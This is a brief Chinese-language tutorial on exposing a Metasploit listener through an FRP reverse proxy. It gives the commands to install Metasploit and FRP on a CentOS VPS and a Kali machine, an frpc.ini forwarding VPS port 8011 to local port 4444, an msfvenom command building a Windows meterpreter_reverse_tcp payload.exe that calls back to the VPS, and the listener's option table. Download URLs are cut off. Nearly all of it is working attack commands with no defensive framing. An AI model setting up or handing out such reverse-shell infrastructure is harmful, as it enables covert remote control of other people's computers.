
1.安装Meatsploit
- curl https:
- chmod 755 msfinstall && ./msfinstall
2.FRP下载
Server Install(Centos x64)
- wget https:
- tar -zxvf frp_0.16.1_linux_amd64.tar.gz
- cd frp_0.16.1_linux_amd64
- rm frpc&&rm frpc.ini
- ./frps -c frps.ini
Localserver Install(Kali x64)
- wget https:
- tar -zxvf frp_0.16.1_linux_amd64.tar.gz
- cd frp_0.16.1_linux_amd64
- rm frps&&rm frps.ini
- ./frpc -c frpc.ini
frpc.ini配置文件
- [common]
- server_addr = *.*.*.* # server ip
- server_port = 7000 #port
- [msf]
- type = tcp #协议
- local_ip = *.*.*.* #localserver ip
- local_port = 4444 #本地MSF监听的端口
- remote_port = 8011 ##Payload设置的LPORT端口,LHOST为server IP
Payload生成
- $ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=VPS的IP lport=8011 -f exe -o payload.exe
MSf监听
- Payload options (windows/x64/meterpreter_reverse_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
- EXTENSIONS no Comma-separate list of extensions to load
- EXTINIT no Initialization strings for extensions
- LHOST 192.168.5.51 yes The listen address
- LPORT 4444 yes The listen port
结语:frp不止tcp端口转发这一种用法,还可以做socks5,http代理等.